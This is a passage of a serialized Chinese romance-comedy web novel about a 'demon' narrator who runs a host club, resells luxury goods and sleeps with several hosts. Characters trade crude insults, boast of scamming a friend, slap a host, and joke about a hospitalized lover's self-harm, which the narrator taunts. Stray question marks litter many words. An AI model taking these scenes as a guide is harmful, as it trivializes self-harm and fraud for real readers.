他毫无所觉,甚至还想继续尊老爱幼去扶老板,折腾半天,我?们?终于把纸箱搬上车,驶向【极乐世界】。 行驶的中途,我?得出一个重要的结论?。 “我?完全没必要来。” 我?抱着手臂斜睨邛浚:“下次直接送到【极乐世界】就行,干嘛让我?多跑一趟?” 他握着方向盘,腿上放着那个扇叶狂转的头盔,大?冬天开着窗,一头卷毛更加凌乱。 闻言偏头看我?,眨了下眼:“万一我?换货怎么办?你得监督我?嘛。” 忘记考虑道德问题了。 我?不由陷入思?考中,扪心?自问:如果我?是邛浚,我?会做这种缺德事吗? 好吧,极有可能! 我?把车内空调开到最?大?,冷热空气咕噜噜混战,他居然很享受似的,头发糊了满脸,看不到眼睛,我?很怀疑他能不能看清路。 “泉卓逸不在,很爽吧?”他忽然开口,感慨道:“真可惜他没死。” “泉卓逸远远没某人讨厌。” “谁?” “柯觅山。” 我?转过身面?对他,严肃地说:“你跟我?一起骂他。” “哎呀。”他说,“我?跟那位没仇,不过骂是可以骂的,那个傻。屌怎么惹你了?” 想起那张不翼而飞的名片,我?胸闷气短。 “他害我?赚不到钱。”我?郁闷道。 “那他真该被大?货车撞死。” 邛浚唇角上扬,“他妈当年怀他的时候一定吃不少苦,怎么没把他打掉呢,真可惜,劣质基因倒挺顽强。” 我?被他的污言秽语震惊了,比宗朔还能骂,他却一脸无辜,朝我?笑了笑,脸颊两边的痣对称显眼。 风吹开他的刘海,露出白净的脸,比男模跳舞那天要清晰许多,他的眼瞳比一般人大?,眼白成为?少数,让人觉得有点?毛毛的。 是什么效应来着。 ……欢乐谷效应? 我?狐疑地盯着他,说:“你是不是在打什么坏主意?” 邛浚是个彻底的坏种,和我?这个恶魔坏得旗鼓相当,看着他就像在看自己的内裤,无比熟悉。 他弯起眼睛,清爽地笑了起来:“我?们?是好朋友嘛,自然要帮你出气啊。” “对了。” 邛浚想起什么,眼睛骤然亮起,兴致勃勃地说:“泉卓逸那个废物住院了,帮不了你,我?来替他当你的跑友,怎么样?” “我?还是处男哦。”—— 作者有话说:道德特别低下的穷菌,想卖身挣钱了(咋能这样) 让我们一起谴责这种不在乎贞操的男人好吗 外热内冷的类型,对感兴趣的事会很热情,不好攻略(也没人想攻略)(自动送上门)(拒收)(拼好饭类型)(月售0) 第48章 车窗外流动?的街景像褪色的胶片, 我盯着他看了几秒,鼻尖飘过只淡淡的可乐味,被风一吹就散。 不用猜就知道是想从?我身上捞钱了。 我可是身上只有鳞片、一毛不拔的恶魔,于是果断地拒绝。 而且现在有更好的选择, 我才不会饥不择食选择内裤。 耳边又响起他那软绵绵的、像是叹气般的口头禅。 邛浚皱了下鼻子, 演技十足地露出可怜的表情?:“难道处男比不上被玩烂的男公?关吗?原来说喜欢处男是你的谎言。” “天?下那么多?处男, 难道我每个都要喜欢吗?” 他毫无自?觉,笑得阳光灿烂:“可以喜欢我这个。” “拒绝强买强卖。” 我在胸前比了个叉,鄙夷地看着他:“你不可能从?我身上薅到一毛钱。” “好吧。”邛浚一只手摸下巴,另一只手在方向盘上敲打着, 开车不看路,姿态极其随性,“等会买包的事可要交给你了, 你知道怎么办吧?” 我当?然有计划,我提前找宋小晓,他混迹男公?关圈子,轻松出手就能卖出不少。 “真好啊, 有点羡慕泉卓逸当?男公?关了。” 他感慨道:“为什么他这种蠢货总在走运,难不成傻人有傻福是真的,太可惜了,我是个有脑子的人, 所以生下来就要活得命苦点。” “变成男公?关还能得到了关心他的朋友, 真是让人羡慕啊。” 我一时听不出他到底是真情?实感地羡慕, 还是在骂泉卓逸。 我:“你为什么讨厌他?” 邛浚眨巴下眼睛, 爽快地承认了,咧开嘴露出整齐的牙齿:“你不觉得他天?生就让人讨厌吗?” “而且我的讨厌那么明?显,他竟然之前还把?我当?朋友。” 他有些?苦恼地说:“但是他可以个很好宰割的韭菜啊, 上次首饰骗了几十万,可惜,下次他肯定就不会上当?了,得找几个演员才行。” 说完,他的视线朝我飘来,轻飘飘地落在脸上:“你不讨厌他?” 我不仅不讨厌他,连讨厌的人也没有,讨厌别人挺费劲的,所以说啊,我性格十分友善,是个和蔼可亲的恶魔。 但现在,我有个想要殴打的对象。 该死的柯觅山,简直不可饶恕、邪恶至极,他是想搭上富爷,但是找不到方式,看到别人给了我,心生忮忌给我偷了! 我恶狠狠地说:“人不可貌相,有些?人看着纯良,实际上满肚子坏水,这种人才最?该被讨厌!啊呸!” 邛浚眨了下眼睛,忽然抬头,用后视镜打量自?己的脸。 欣赏了一会,他爽朗地笑道:“还好我表面和内在一样纯洁。” 我斜了他一眼,一切尽在不言中?。 “那你讨厌的人就多?了,每天?面对老板那张脸,一定很痛苦吧。” 邛浚弯起眼睛,眼下的痣晃眼,轻快地说:“宗朔和柯觅山可是一类人哦,想要知道内部消息吗?打八折,只要188。” 我竖起食指,纠正?道:“我才是老板。” 三句不离钱,这人怕不是金钱的奴隶,和我这样金钱的拥有者、追求者有天?壤之别。 我懒得搭理他,放任他继续嘚吧嘚吧个不停,把?188砍到了18,最?后变成了一块八。 我保持一毛不拔。 等到达[极乐世界],邛浚依旧阳光灿烂,十分自?来熟地登堂入室,叫了几个男公?关,让他们把?箱子搬进去。 箱子被搬进办公?室,统一摆放在角落里,压在圣诞节留下的装饰物?上。 刚摆放好,宗朔推开办公?室的门,表情?淡淡的,邛浚跟他打招呼,他只斜了对方一眼。 邛浚也不恼,乐呵呵地拍拍搬运工们的肩膀,朝我挥挥手,飞快地跑走了。 宗朔坐在椅子上,抬起一侧眉,视线落在纸箱子上,眼看就要开口。 “大人的事你别管。” 我正?襟危坐,抬起手:“小宗,把?店里的工作?人员名单呈上来。” 宗朔嘴角抽了下:“买保健品了?” “哎呀。”我说,“你不懂,那是奢侈品,大大滴赚钱。” 他睨了我一眼,不咸不淡地说:“不要在办公?室弄这些?,还有,不要学中?介讲话。” 他甚至不愿叫邛浚的名字。 我点头,诚挚地看着他:“知道了。” 宗朔啧了声,还是起身去翻抽屉,抽出一个文件夹,丢给我,语气淡淡道:“最?近我有点忙,你不要乱跑。” 我猜和泉卓逸有关。 自打上次发生进医院的事后,宗朔就忙碌起来了,上次我去找他的时候,他就被泉卓逸的哥哥叫走了,应该是秋后算账,到现在也没解决。 我有点好奇,问道:“他哥怎么说?” “还能怎么说。”宗朔笑了下,摩挲领口的纽扣,意味不明?地说,“在我这找面子呗,真烦这种人啊……之前不做事,现在反倒来彰显亲情了。” 他长出一口气,把?手背在脑后,语气懒散:“耗呗,反正?我损失的比不上他。” “他时薪几百万呢。” 时薪?!跟宗朔业绩差不多?了! 现在讨厌的人选多?了一个:泉卓逸的哥哥,不知名的有钱人! 我会默默地讨厌你的。 没过多?久,宗朔接到一通电话,眉头紧蹙,不耐烦地穿上外套,大步流星地离开办公?室。 他一走,我立刻掏出手机,发消息让荣小晓来办公?室。 荣小晓戴着口罩,看见我时鬼鬼祟祟,左躲右闪试图避开摄像头,动?作?极其猥琐。 我指着纸箱子说:“就是这些?了,你看看需要多?少。” 他打开箱子,惊喜地说:“全?是正?品啊,这光泽……拍照得多?好看。” 男公?关们喜欢用奢侈品拍照,经常会发各种精致的动?态,以吸引更多?客户,促进业绩,荣小晓也是,他发的朋友圈我看了,p图技术很不错。 之前邛浚说卖奢侈品时,我第一个想的就是他。 荣小晓笑得像只偷油的老鼠,谄媚地说:“您放心,保证给您把?事办好。” 过了一会,他领着几个男公?关来了,几个人对着箱子挑挑拣拣,喜不自?胜,不一会儿,箱子便空了大半,我在旁边放着收款码,叮铃叮铃收款消息十分悦耳。 荣小晓建议我把?箱子放到外面,因为很多?人不敢进办公?室,反正?店里有监控,放在外面也没人敢偷。 于是我让他们把?箱子又搬了出去,放到展示排名的液晶屏下,这里人流量最?高,来来往往的男公?关们看见了,手机里的收款信息就没停过。 为了著名是正?品,旁边还贴出产品证明?,所以销量十分可观。 我心满意足地看着手机的余额,按照惯例在一楼转悠,想着哪里可以划分出一块区域,专门用来卖奢侈品。 我休息的地方似乎不错。 想着,我给宗朔发消息,给他看我的装修方案,胸有成竹地表示一定能赚大钱。 他没有回,应该还是在忙。 我又开始巡视整个一楼,总觉得少了点什么。 少了什么呢…… 我用右手敲击左手,麦景哪里去了? 左看右看,这家伙压根没来上班! 像是上学一样,他神出鬼没的,我下意识觉得他会在天?台上,装逼式地站在栏杆边。 不过现在我也用不上他了,他去哪里和我没关系。 不一会手机震动?,我以为是他,但拿起来一看,原来是浦真天?发来消息。 [浦真天?]:(视频链接) [浦真天?]:(视频链接) …… [浦真天?]:(视频链接) 我点进去看,发现全?是公?众号视频,不是在说要注重年?轻人心理健康,就是在说年?轻人不行。 浦真天?很恨年?轻人吗?怎么总是痛斥年?轻人。 我正?准备上二楼,忽然嗅到巧克力的气息,转过头,发现麦景不知何时出现在附近,身形清瘦,碎发微微遮住了眼睛,安静地看着我,被我发现后,才眨了下眼睛,向我靠近。 我:“你迟到了。” 麦景嗯了一声,表情?浅淡,看不出情?绪,“有事来晚了。” 说完,他抬手摸索衣兜,但想到什么,手又放了下去,老实地说:“赚到的钱我会全?部打进卡里。” 我点点头,打算上楼看看情?况,但他忽然叫住我。 “小冬,有件事我觉得你应该知道。” 他掏出手机,上面显示和某个的聊天?记录。 对方发来一张照片,光影绰绰,两个人亲密地贴在一起,晃眼看去氛围暧昧,角度不近不远,背后的亮光刚好照在嘴唇贴合之处,色调优美。 不过,怎么越看越眼熟。 ——哇,这不是我吗? 我瞪大双眼,脑子里蹦出巨大的问号。 这是什么时候拍的? 再看和他聊天?的头像,这不是泉卓逸吗?! 我非常疑惑,按理说在暗处拍照不应该有闪光灯吗?但仔细回想,只记得唇上的触感,压根没意识到泉卓逸做了什么。 “他给我发的照片。” 麦景的声音在一旁响起,异常的平静,“虽然不知道想干什么,但是我只想说,这点手段对我没用,无论你做什么,我都会站在你的一边。” “他什么时候发给你的?” “昨天?晚上。” 我拿起手机,准备久违地问候泉卓逸,搞明?白他到底想干嘛。 然而,对面的消息率先弹了出来。 [泉卓逸(1.7有钱有颜有技术)]:(文件) 我停下打字,点了进去。 [《非直接伤害的故意杀人罪法律条例》] 我:?—— 作者有话说:拙拙被盗号了,他哥是个很讨厌的贱男(传统霸道总裁) 拍照意味不明(谁懂)(半夜掏出来欣赏)(边割边欣赏) 第49章 就在我准备直接问?候他的时候, 脑中忽然闪过一道灵光。 不对,之前就酒店的床上,泉卓逸絮絮叨叨过一堆有的没的,我记得最清楚的是他说过自己上的是国外野鸡大学?, 连高考都没参加过。 所以?他这个文盲什?么时候精通法律了? [世界第?一恶魔大人]:你?谁? 这不可能是泉卓逸。 我充满质疑地看着手机, 连旁边的麦景也不理了, 他坐在我旁边,安静地看着我打字。 [泉卓逸(1.7有钱有颜有技术)]:栾小姐,如果你?稍具法律常识,你?就能知道教唆他人自·残是违法行为 [泉卓逸(1.7有钱有颜有技术)]:他有你?这样的朋友, 比死掉还要不幸 我原以?为是什?么双重?人格,现在真相大白,是泉卓逸他哥。 他们家的精神病是遗传的, 所以?泉卓逸的哥哥脑子也不正常。 讨厌的家伙,怎么总是往我脸上凑。 [世界第?一恶魔大人]:你?知道你?弟是抖M吗? 消息发送后,我忽然意识到加上感叹号似乎气势更?强,不由?惋惜地拍了下大腿。 [泉卓逸(1.7有钱有颜有技术)]:他有病也不是你?伤害他的理由? [世界第?一恶魔大人]:我哪里?伤害他了?你?去问?他, 我有没有伤害他,他爽的时候咋不说呢?! 很?好,这次加上了,气势果然更?足。 [泉卓逸(1.7有钱有颜有技术)]:如果不想吃苦头, 就离他远一点 这话好耳熟, 感觉下一句就该甩出五百万了, 我暗自期待地盯着屏幕, 结果几分钟过去,对面再无声息。 [世界第?一恶魔大人]:离不了,我吃的全是甜头 [泉卓逸(1.7有钱有颜有技术)]:你?以?为我不敢对你?下手吗? [世界第?一恶魔大人]:泉卓逸怎么有你?这种不要脸的哥, 都说了他自愿的,我让你?割手,你?割吗? [泉卓逸(1.7有钱有颜有技术)]:告诉她我们的事轮不到你?来管shfjd 消息还没看清就被撤回了。 [泉卓逸(1.7有钱有颜有技术)]:我们的家事轮不到你?来管 [世界第?一恶魔大人]:我们的事你?也轮不到你?管! 对面显示输入中,迟迟没有将消息发过来,大概是气惨了,于是我乘胜追击,不停打字输出。 为了达到气人的效果,我把从柯觅山那里?学?来的表情?加了上去。 [世界第?一恶魔大人]:打个赌吧,无论你?做什?么他都会回到我身边 [世界第?一恶魔大人]:下次出事,我会第?一时间通知你?的^^ 对面彻底熄火。 带着胜利的喜悦,我仰首挺胸拍了下麦景的肩膀,“赶紧去工作。” 我叮嘱他:“不准买奢侈品!要是你?买了,钱可就落到邛浚口袋里?了!” 他的钱就是我的钱,绝对不能让邛浚赚差价。 他还想待在我旁边,被我以?有事给赶走了。 我当然有事。 现在我要专注事业,没心?情?搭理他,至于泉卓逸的这出小插曲,也被我抛之脑后。 事后第?五天,泉卓逸的账号终于回到本人手里?,他暴跳如雷地给我发来成山般的消息,用尽词汇辱骂他哥和他哥的助理。 我这才知道原来是他助理在回复消息,怪不得中途撤回了一条。 想起那天晚上憔悴加班的打工人,我唏嘘不已?,这就是当老板和当员工的区别。 这段时间,奢侈品的销量可观,宗朔任由?我在[极乐世界]乱搞一通,不少来往的客人也贡献了大部分,因为男公关缠着要,虽然不算业绩,但?钱实实在在落进口袋里?,导致卖出的奢侈品数量比酒水还要多。 中途我和邛浚又去了一次女?装店进货,王老板脸上的淤青散去,但?看见邛浚仍然像老鼠见了猫,害怕不已?。 每次邛浚热情?地向他靠近时,王老板差点蹦出去。 钱像流水般进入我的口袋,分给邛浚一部分后仍然十分可观,我每天的乐趣就是躺在沙发上观看数字飙升,畅想成为千万富翁后的美好生?活。 距离泉卓逸进医院已?经过去一周多,被贪婪压住的色欲蠢蠢欲动,直到小腹传来躁动,我才想起忘记了什?么事。 所以?宗朔呢? 我的下一个指定跑友,目前还在和泉卓逸他哥周旋,整天不见踪影,最近才发消息说摆脱狗屎,要好好睡一觉。 我观望着、等待着、期盼着。 结果先等来了浦真天。 他第一次敲响办公室的门,说我们应该聊聊。 “聊什?么?” 浦真天略显纠结,垂头深呼吸,随后挺起胸膛,目光坚定地看着我,认真地说:“之前发生的所有事,我不想再躲下去了,我想知道你?在想什?么,想知道你是不是也——” 他卡顿了下,摸着后脖颈,“也是我想的那样。” 他努力直视我,但?因为躲避了太久,已?经不适应眼神接触,视线相撞撑不到五秒钟,就不受控看下斜下方?,露出懊恼的神色,再次抬起头,随即又强撑着看着我。 “我们聊聊吧,小冬。” 他关上门,轻步来到桌前,气息不稳:“我知道你和泉卓逸的关系,他不是个好的对象,情?绪不稳,也扛不住事。” “从一开始我就想告诉你?,他不是个好人,可我又想,我有什?么资格说这话呢?和谁交往是你?的自由?……但?他真的不行,花钱大手大脚,对待客人也随心?所欲……” 他详细地列举泉卓逸的缺点,有理有据,让我摸不着头脑。 浦真天似乎也意识到了这点,将涌到喉咙的话咽了回去,蓦然沉默下来,脸上泛起一层不易察觉的红晕。 “你?喝醉了?”我问?。 他深深吸了口气,坚定地摇头:“没有。我只是……还没想好该怎么说。”他放下手,那双总是湿漉漉的眼睛望过来,手指抵在桌面上,微微蜷缩起来。 “其实……我没那么容易醉。”他声音低了下去,带着一种破釜沉舟的勇气,“小冬,你?喜欢我吗?” “和我接吻的时候……你?是喜欢我的,对吗?” 他咬紧牙关,像钉子般站在原地,眼睛亮得惊人。 “喜欢啊。”我捧着下巴,“要不然我为什?么要亲你?。” 他的嘴唇柔软、厚实。 呼吸时身体起伏,小麦色的皮肤在光下泛着光,像是融化的巧克力,听到我的话,他的脸颊上浮现出酒窝,弯起眼睛。 难道……? 我心?念一动,几乎和他同时开口。 “你?转变想法了?” “我喜欢你?,我们——” 浦真天愣在原地,像是没听清我在说什?么,眼睛微微瞪大。 我恍然大悟,摇头道:“我不想玩那个。” “你?应该想开一点,为什?么一定要按照道德做事呢,没有这层枷锁,我们不也能好好相处吗?我不会走,你?也不会走,想的时候我们就在一起,不想的时候,我们互不干扰。” 我越说越觉得有道理,点了点头,“所以?完全没必要诶!” 浦真天沉默了,嘴角止不住地下撇,流露出几分伤心?,像被踩了尾巴的狗似的:“可是、可是我喜欢你?啊……” “对啊。”我看着他,十分认真地说,“我也喜欢你?。” “……” 他苦笑了下,摇头说:“不一样。” “一样的。” 浦真天再次摇头,笑容消失得干干净净,唇角抿紧又松开,低头时,脸上落下柔软的阴影。 “我……没有什?么想说的了。” 他语气苦涩:“今天发生?的事,我会告诉明子。” 说完,他快步走向门口,猛地拉开门,差点与门外的人撞个满怀,他侧身错开,走廊里?随即响起一阵略显凌乱的脚步声。 我抬头,看向站在门口的麦景。 他安静地看着我,表情?像是隔着层雾,穿着西装,宽肩窄腰,和记忆里?的人逐渐拉开差距。 麦景走到我身边,蹲下身,这个姿势让他不得不仰头看我,浓密的睫毛在眼下投出小片阴影。 “小冬,你?需要帮忙吗?”他问?。 “你?迟到了。” 我看了眼表,他自从上班就没准时过,还总是往我身边凑。 他低低“嗯”了一声,“有点其他事。” “如果你?需要……”他停顿了一下,一只手轻轻搭在我的膝盖上,“我也可以?。” 我微微垂眸,对上他抬起的眼睛,那双看似冷淡的黑眸像两颗浸在冰水里?的石头,却再次让我手痒起来,想要做点什?么。 我:“和你?有关系吗?” 麦景没有说话,只是像一只安静的黑猫般蹲着,蹲姿让西装裤的布料绷紧,显露出肌肉线条,他确实比高中时壮硕了些,挽起的袖口下,手臂上隐约可见几道白色的旧疤。 他没有吭声,依旧仰头望着我。 和泉卓逸不一样,我是真心?实意地想打麦景。 总是在不对的时间出现,之前我需要他的时候又不在,总是说出让我不爽的话。 我看了眼他白净的脸颊。 麦景察觉到我的视线,偏过脸,握着我的手放在脸上。 我顺势打了一巴掌。 他的脸颊立刻浮现五指印,我想起他还得上班,于是摸了下,嘶了声,担忧地说:“等会你?去休息室抹点粉底,客人看到会不爽的。” 看不出痛还是不疼,他的表情?依旧平淡。 “迟到可是要扣工资的,赶紧回去上班,把业绩提上去。” “好。”麦景点头,站起身,脸上没什?么表情?,然后,他忽然弯下腰,靠近我问?:“如果我成为第?一,小冬可以?原谅我吗?” “……哼哼。”我靠在椅背上摸下巴,瞥了他一眼。 他的头发乖顺地垂下,目光凝着我,安静的、执拗的看着我。 “等你?当了再说。” 我拍了下桌子,命令道:“现在出去上班。” 他点点头,步伐平稳地离开了办公室,然而门一打开,外面居然还站着一个人。 薄荷气息压在巧克力之下,一时半会没闻出来。 还有为什?么门外总是有人? 我怀疑那是个刷新点。 麦景从他旁边经过,两个人毫无交流,相互视作空气。 宗朔走进办公室,脱下外套,先点了根烟,撩起眼皮看我,“我在外面应付疯狗,你?这是在办公室坐着等狗来舔啊。” “问?题解决了吗?” 他嗯了一声,往后撩起刘海,露出困倦的眼睛,看上去提不起劲,十分颓废,但?嘴上仍然不饶人:“姓泉的脑子都有问?题,逮着人就咬,简直比买保险的还难缠。” 手腕处的玉串被他碾磨着,有一搭没一搭地敲击。 宗朔偏过头,眼尾下垂,咬着烟含糊不清地说:“说吧,又出什?么事了,想装修你?自己去邛浚想办法,我不想管,我累了,我要休息。” 我坐直身体,紧盯着他:“上次的问?题你?还没回答我呢。” “如果我问?你?那个问?题,你?会怎么回答。” 他哼笑一声,将烟夹在指间,“我有拒绝过你?吗?” 他总是用问?句回答问?题。 不过还好,我听得懂。 我:“做吗?” 在说他说完的下一秒,我骤然开口,宗朔没反应过来,眯起的眼睛,烟雾从他嘴里?溢出,飘升到天花板上。 他低低地笑了声。 影子慢悠悠地遮盖住我,微长?的头发比吻先落下—— 作者有话说:三进办公室,只有一个人成功了(上桌),很想虐宗朔一把,每个人都想虐一把[眼镜] 本作者又卡文了,谁来救我,有发文恐惧了(暗示)(明示)(祈求写文通畅) 第50章 宗朔家和我想?的一样?乱七八糟, 衣服凌乱地堆放在床和沙发上,但好在客厅足够大,晃眼看过去还挺有格调,有点像某些社交网站爱用?的拍照背景。 昨天晚上进来的时候没开灯, 踉踉跄跄撞倒不少?东西, 早上我才看清楚屋里的装饰, 处于极简和极繁中间,精致中透着一丝随性的混乱。 唯一的优点是,他家的床很软。 躺上去像是被包裹在棉花里,让我一点也不想?动弹, 空调开得很足,窗外可见簌簌地飘着雪,格外惬意。 下雪了?诶。 我窝在被子?里, 朝旁边看去。 昨天的被子?大战宗朔没有抢过我,去衣柜里拿了?一床新的,我们各盖各的,井水不犯河水。 他整个人?窝在被子?里, 只伸出一只手臂,凌乱的黑发遮盖住五官,懒洋洋地翻了?个身?,露出一片纹身?。 和我见过的人?类的背部不一样?, 宗朔的背部宛如画板, 涂满了?彩色的纹身?, 纹路蜿蜒而下, 直到腰窝处中止。 我掀开被子?,仔细地看他的纹身?。 黑色的毒蛇盘踞在一柄利刃之上,像是十字架, 十分精细,甚至能清晰地看到蛇的鳞片,剑柄上附着看不懂的鸟文。 我好奇地用?手指擦拭他的纹身?,发现一点也不掉色,想?了?想?,往手上抹了?点口水,更加用?力地擦。 “……你?干嘛。” 他反手扣住我的手腕,声音低沉困倦,手心温热,比室内还要高一点,所以我不喜欢靠近他,太热了?。 手被抓住,我还有头,我把头抵在他的背上,仔细地看纹身?:“为什么不会掉色,你?是刚纹上去的吗?” “我上周才补了?色。” 宗朔转身?面向我,一只手臂垫在头下,懒洋洋地打了?个哈欠,牵动唇角的伤口,他疼得嘶了?一声,“这么爱咬人?,跟谁学的。” 他眼下黑眼圈浓重?,像是烟熏妆一样?,眼睛半睁半闭,露出一条缝,我好奇地玩他的睫毛,眼尾处比其他地方长一点,像是鸟的羽毛。 扯一下,嗯,被轻飘飘地瞪了?。 昨天晚上的体验很不错。 宗朔不会咬人?,也不会固执地要我看着他。 室内灯光隐隐错错,他俯下身?,背部纹路随着双臂展开,吐出舌尖像是蛇的信子?,发出沉重?的、压低了?的喘息声。 我被伺候得很爽,对他这个跑友更加满意。 鼻尖的薄荷气息在室内浓烈起来,冰凉又炙热。 我躺着欣赏了?一会雪景,拿出手机开始批阅。 昨天晚上积累了?不少?消息,我懒洋洋地翻了?个身?,背对着宗朔开始回?复。 看到昨晚的进账,我乐呵呵地笑了?两声。 “大忙人?。” 宗朔的声音从背后飘来,“一大早就起来工作,你?比我还要忙啊。” “你?没有事做吗?” “有也不想?做。”他说,“我要休息。” 说话?间他凑近了?一点,湿热的呼吸打在我的肩膀上,故意压低声音,“在床上还要回?消息,你?不觉得是对我的不尊重?吗。” 湿漉漉的吻落下,沿着肩膀往下,宗朔偷渡到我的被子?里,头往下移动,我转了?个身?,爽得哼哼起来。 手机仍然被我握着,往下滑动,停留在许久没有动静的聊天消息上。 可恶的柯觅山。 我每天都要恶狠狠地骂他。 被子?下窸窸窣窣,似乎影响到操作了?,宗朔掀开被子?,把自己的枕头垫在我的腰下,撩起头发俯下身?去。 背部的纹身?蜿蜒着,那两条蛇像是真?的活过来似的,颜色艳丽,紧紧束缚着利剑。 我盯着手机,在啧啧作响声中开口:“你?知道柯觅山有多讨人?厌吗?” “……不熟。” 宗朔握着我的大腿,眼尾垂下,嘴唇湿漉漉地亮着,“和他闹矛盾了??” “他是个小偷,拜金男。” 我气得哼哼,忽然想?到什么,问道:“你?认识霍亦瑀吗?” 他骤然压上来,双臂撑在我的两侧,盯着我手机里显示的个人?介绍,胸膛震动,喉咙里发出一声淡淡的嗯。 “只要知道有钱人?的圈子?,很少?人?不认识他吧。” 宗朔抬起一侧眉,懒散地倒在旁边,抽出一张纸擦嘴,哼笑一声,“他偷了?你?的联系方式?” “对啊。”我痛斥道,“你?不觉得他很可恶吗。” “或许吧。” 他语焉不详,起身走进浴室。 我在床上躺了会,他催促我洗澡,等我洗完澡出来,他已经?穿好衣服,丢给我一把钥匙,说自己有事,让我随手关门。 我目送他离开,继续在柔软的大床上躺着,翘着腿玩手机,非常得意。 等磨蹭到下午,我才下床,穿上自己的衣服,把钥匙装进口袋里,准备出门。 昨天晚上和宗朔打车来的,速度很快,早上打开手机一看,距离[极乐世?界]只有四公里,都能步行?过去。 宗朔还龟毛地打车,简直是奢侈。 我穿好鞋,回?复哥哥的消息,他没有立刻回?复,过了?一段时间才发来一个好字。 推开门,我走进电梯里,靠在角落里看荣小晓发来的消息,他说箱子?里的奢侈品少?了?大半,可以补充了?。 我正准备给邛浚发消息。 叮咚。电梯打开,一道阴影笼罩下来。 我抬起头,对上一双炯炯有神?的眼睛。 “好巧。”邛浚抬起手,精气神?十足地说,“你?也住这里?” 他还穿着饿了?么的蓝色外套,头上却戴着黄色的头盔,顶着两个黄色的耳朵,嘴边挂着一抹笑,好奇地看着我。 我:“宗朔住这。” 我想?起正事,立马拉着他说:“刚才想?给发消息,你?什么时候去拿货,快卖完了?。” “速度真?快。”邛浚点点头,弯起眼睛,“现在就去一趟吧。” 我想?也行?,坐上他开的小电瓶,他怡然自得,打扮不伦不类,这辆电瓶车也是,车身?贴满大大小小的广告,我左摸摸右摸摸,从屁股下掏出一叠的广告,仔细看全是贷款。 这几天也在发类似的动态,应该是又找到兼职了?。 风吹动,一股奇妙的气味飘进鼻腔,我凑到他脖子?后闻闻嗅嗅,“你?喷香水了??” “哎呀。”他软绵绵地说,“刚刚那一单送的猪蹄。” 我仔细闻了?闻,果不其然闻到了?香料味,是食物的香味,但又有点不一样?,带着血腥气,可能是旁边在杀猪吧。 他电瓶车开得稳,声音在风里格外清亮:“你?身?上也有怪味。” “我用?宗朔的沐浴露了?。” 还是高级货,洗完身?上滑溜溜,像是肥皂的气味。 电瓶车猛地一抖,我赶紧抓住他的脖子?,“你?会不会开车啊!” 手下声带震动,血管砰砰地跳动,他哈哈笑了?一声。 “你?可抓稳了?,我要发消息。” 他果然掏出手机,一边开车一边回?消息。 我张望路口红绿灯,遗憾地说:“怎么没个交警,把你?抓进警察局。” “等会要是倒了?,你?当?我的垫子?。” “好啊。” 他继续单手发消息,我探头去看,又看到眼熟的头像——怎么又是泉卓逸。 电瓶车晃动不稳,我没看清楚他发的什么,他便将手机揣了?回?去,心情很好地哼着歌。 “等会告诉你?。”邛浚乐不可支,加速时快乐得像要去春游。 等抵达女装店,他快步走进店里,看上去比平时还要兴奋,吓得王老板躲闪不及,被他攀着,哆哆嗦嗦地去拿货。 因为电瓶车放不下,他理直气壮地借了?车。 我们换了?个座驾,把他的电瓶车和货物一起放在后备箱里,重?新往[极乐世?界]去。 一路上他时不时发出几声闷笑,但我问啥他又不说,等到了?店门口,清点完箱子?里的奢侈品数量,他才解开头盔,顶着一头凌乱的卷发,朝我露出阳光灿烂的笑容。 “我把你?从宗朔家里出来的事告诉泉卓逸了?。” 他爽朗地说:“太好玩了?,他果然生?气了?!” 他说完笑得停不下来,甚至捂住肚子?弯下腰,眼角带泪。 我用?看神?经?病的视线看他,揣他一脚。 邛浚笑够了?,又来靠我的肩,乐呵呵地说:“等他回?来,你?一定要拍他哭的照片给我看哦,那副模样?肯定特别丑陋。” “男人?的忮忌心真?是可怕。” 他弯着眼睛,叹了?口气,黑亮的眼睛里倒映着我的模样?,“我就不一样?了?,我们可是好朋友。” 莫名其妙的。 我挥挥手,像驱赶苍蝇一样?:“去去去,骑手退散。” 但忽然想?起来我什么好处也没得到,邛浚却免费获得快乐。 于是我怒上心头,偷袭他的电瓶车。 他赶忙去扶,心疼地拍了?拍广告上的灰,状似可怜地说摔坏了?。 摔坏了?更好。我又扯着他的头发,跟他打成一团,但这人?还有脸笑,一边躲一边说自己可不是泉卓逸那个抖M。 打闹间,熟悉的巧克力气味飘来,我不由产生?了?怎么又是你?的无语感,回?头看去,麦景罕见地来了?个大早,站在不远处看着我们。 邛浚看到他,抬手打了?个招呼,“小哥看着很眼熟哦,大众脸吗?” “……” 麦景冷着脸走过来,顺手把我带走。 邛浚饶有兴趣地看着,站在原地挥手,身?影消失在门口。 “他不行?。” 走进[极乐世?界],麦景停下脚步,眉头皱在一起,抿着唇说:“他不可以。” “他当?然不行?。” 我:“他是美团的怎么行?。” “像这种性缩力极强的职业,绝对当?不了?男公关,客人?一听到你?以前是跑外卖的,肯定一点兴趣都没有了?。” 我有理有据地说完,麦景仍然冷着脸,像是害怕业绩被抢走,黑着半张脸,浑身?紧绷。 对其他人?,他都没有这种表现,难不成害怕美团骑手吗? 我摸不着头脑,拍了?他一下,“今天怎么来这么早。” “……不想?迟到。” 他说,眉头仍然皱着,看向门口的方向目光沉沉,陷入思考中。 “他只是送货的,你?别操心了?。” 我苦口婆心地教导:“你?现在要做的是讨好客人?,竞争是没用?的。” “他不是个好人?。”麦景冷不丁说。 “我知道。” 我:“这里除了?客人?,没几个好人?。” 他盯着我看了?几秒,垂下眸,发出一声短促的嗯。 几秒后,他又固执地说:“……但是他不可以。” 我问他为什么,他只说邛浚长得不好,邛浚是我见过最纯良的长相,笑起来毫无阴霾,但架不住麦景讨厌他的脸。 他坚持在我耳边叨叨邛浚的不好,像个扰人?的苍蝇。 我再次挥手驱赶男公关。 谈话?间,手机震动—— [泉卓逸(1.7有钱有颜有技术)]:我要回?来了?—— 作者有话说:距离完结还有好远啊……为什么越写越长(!) 男的写多了就是这个下场,一章手忙角落地加调味料,小冬这一生经过的男人比草还多,风花雪月不够数的,要字母表才数得过来 原本还打算下个月开新,这下是做不到了,努力十二月完结(!)《 》 50-60 第51章 [世界第一恶魔大人]:是进行时还是完成时? [泉卓逸(1.7有钱有颜有技术)]:我会回来?的 [泉卓逸(1.7有钱有颜有技术)]:你不准忘记我 [泉卓逸(1.7有钱有颜有技术)]:我会回来?的 行吧, 他也变成苍蝇了。 至于他到底什么时候回来?,我还在想他的哥哥,那?个屌货不是说要我离远点吗?现?在让泉卓逸回来?正好打他的脸,让他怒去吧! 而现?在, 我要享受空调, 享受赚钱。 人一旦沾上钱, 就很难戒掉了! 我一旦赚了钱,就再也停不下来?了! 